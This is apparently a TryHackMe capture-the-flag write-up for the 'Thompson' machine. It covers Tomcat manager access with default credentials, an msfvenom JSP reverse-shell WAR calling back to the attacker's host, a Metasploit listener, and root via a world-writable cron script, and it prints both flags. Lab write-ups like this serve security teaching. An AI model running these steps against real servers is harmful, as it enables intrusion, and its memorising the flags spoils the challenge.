# Thomson | TryHackMe | CTF # Thompson boot2root machine for FIT and bsides guatemala CTF read user.txt and root.txt # #1 - user.txt Nmap discovers 3 ports, 1 of being an Apache Tomcat application, on port 8080: ```xml PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 fc:05:24:81:98:7e:b8:db:05:92:a6:e7:8e:b0:21:11 (RSA) | 256 60:c8:40:ab:b0:09:84:3d:46:64:61:13:fa:bc:1f:be (ECDSA) |_ 256 b5:52:7e:9c:01:9b:98:0c:73:59:20:35:ee:23:f1:a5 (ED25519) 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) |_ajp-methods: Failed to get a valid response for the OPTION request 8080/tcp open http Apache Tomcat 8.5.5 |_http-favicon: Apache Tomcat |_http-title: Apache Tomcat/8.5.5 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel ``` There is no `robots.txt` file, but a `dirsearch` scan revealed the presence of a `/manager` directory. Connecting to it requires an authentication, but credentials are revealed on the following page: ```xml $ curl -i http://10.10.61.255:8080/manager/html HTTP/1.1 401 Cache-Control: private Expires: Wed, 31 Dec 1969 16:00:00 PST WWW-Authenticate: Basic realm="Tomcat Manager Application" Content-Type: text/html;charset=ISO-8859-1 Content-Length: 2473 Date: Mon, 29 Jun 2020 18:03:37 GMT [REDACTED] <role rolename="manager-gui"/> <user username="tomcat" password="s3cret" roles="manager-gui"/> [REDACTED] ``` Let's connect to the manager using `tomcat:s3cret`. From here, we have a page that allows us to: * Manage applications (start, stop, undeploy) * Upload new applications (via a war file) Let's use `msfvenom` to make a JSP reverse shell in a war file: ```xml $ msfvenom -p java/jsp_shell_reverse_tcp lhost=10.9.0.54 lport=4444 -f war -o shell.war Payload size: 1090 bytes Final size of war file: 1090 bytes Saved as: shell.war ``` Now, open a listener in Metasploit: ```xml $ msfconole -q msf5 > use multi/handler [*] Using configured payload generic/shell_reverse_tcp msf5 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp payload => java/jsp_shell_reverse_tcp msf5 exploit(multi/handler) > set lhost 10.9.0.54 lhost => 10.9.0.54 msf5 exploit(multi/handler) > run -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 10.9.0.54:4444 msf5 exploit(multi/handler) > ``` Back to the manager, upload `shell.war` (it will automatically deploy it to the server) and from the applications list, click on the link (it will redirect you to `/shell`). You should get a reverse shell in msfconsole. ```xml [*] Command shell session 1 opened (10.9.0.54:4444 -> 10.10.96.20:60212) at 2020-06-30 07:42:41 +0200 msf5 exploit(multi/handler) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 shell java/linux 10.9.0.54:4444 -> 10.10.96.20:60212 (10.10.96.20) msf5 exploit(multi/handler) > sessions -i 1 [*] Starting interaction with 1... SHELL=/bin/bash script -q /dev/null tomcat@ubuntu:/$ id id uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat) tomcat@ubuntu:/$ cat /home/jack/user.txt cat /home/jack/user.txt 39400c90bc683a41a8935e4719f181bf tomcat@ubuntu:/$ ``` User flag: `39400c90bc683a41a8935e4719f181bf` # #2 - root.txt Notice that there is a crontab run by `root` every minute, that executes [`id.sh`](http://id.sh) script located in jack's home: ```xml tomcat@ubuntu:/home/jack$ cat /etc/crontab cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) * * * * * root cd /home/jack && bash id.sh # ``` The script outputs the result of the `id` command to `test.txt`, and the file is writeable to the world. ```xml tomcat@ubuntu:/home/jack$ cat id.sh cat id.sh #!/bin/bash id > test.txt ``` Let's modify the script so that it reads the root flag instead: ```xml tomcat@ubuntu:/home/jack$ printf '#!/bin/bash\ncat /root/root.txt > test.txt' > id.sh test.txt' > id.sh tomcat@ubuntu:/home/jack$ cat id.sh cat id.sh #!/bin/bash cat /root/root.txt > test.txt ``` After a short while, the `test.txt` file contains the root flag. ```xml tomcat@ubuntu:/home/jack$ cat test.txt d89d5391984c0450a95497153ae7ca3a ``` *Notice that we could do much better here, and take advantage of the fact that the script is executed by root to create a new user, and grant the user root privileges. However, as our intend is to get the root flag only, that should be enough.* Root flag: `d89d5391984c0450a95497153ae7ca3a`